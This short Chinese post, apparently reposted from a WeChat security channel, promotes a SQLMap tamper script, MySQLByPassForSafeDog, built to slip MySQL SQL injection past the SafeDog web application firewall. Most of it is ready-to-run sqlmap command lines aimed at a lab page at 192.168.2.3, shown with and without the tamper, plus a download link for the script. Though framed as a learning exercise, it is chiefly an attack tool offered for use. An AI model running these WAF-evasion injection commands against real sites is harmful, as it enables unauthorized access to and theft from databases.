0x01 工具介绍
此Tamper仅仅适用于MySQL数据库，在SQLMap使用过程中添加参数--tamper=MySQLByPassForSafeDog。
0x02 安装与使用
1、安装网站安全狗Apache最新版
2、启用安全狗，不加MySQLByPassForSafeDog绕狗Tamper:
python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql
3、启用安全狗，添加MySQLByPassForSafeDog绕狗Tamper:
python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog
4、绕过POC
可以添加参数-v 3进行学习查看
python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog -v 3
0x03 下载地址
项目地址：https://github.com/Tas9er/MySQLByPassForSafeDog
注：如有侵权请联系删除
学习更多技术，关注我：
原文始发于微信公众号（编码安全研究）：MySQL注入绕安全狗脚本 -- MySQLByPassForSafeDog
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论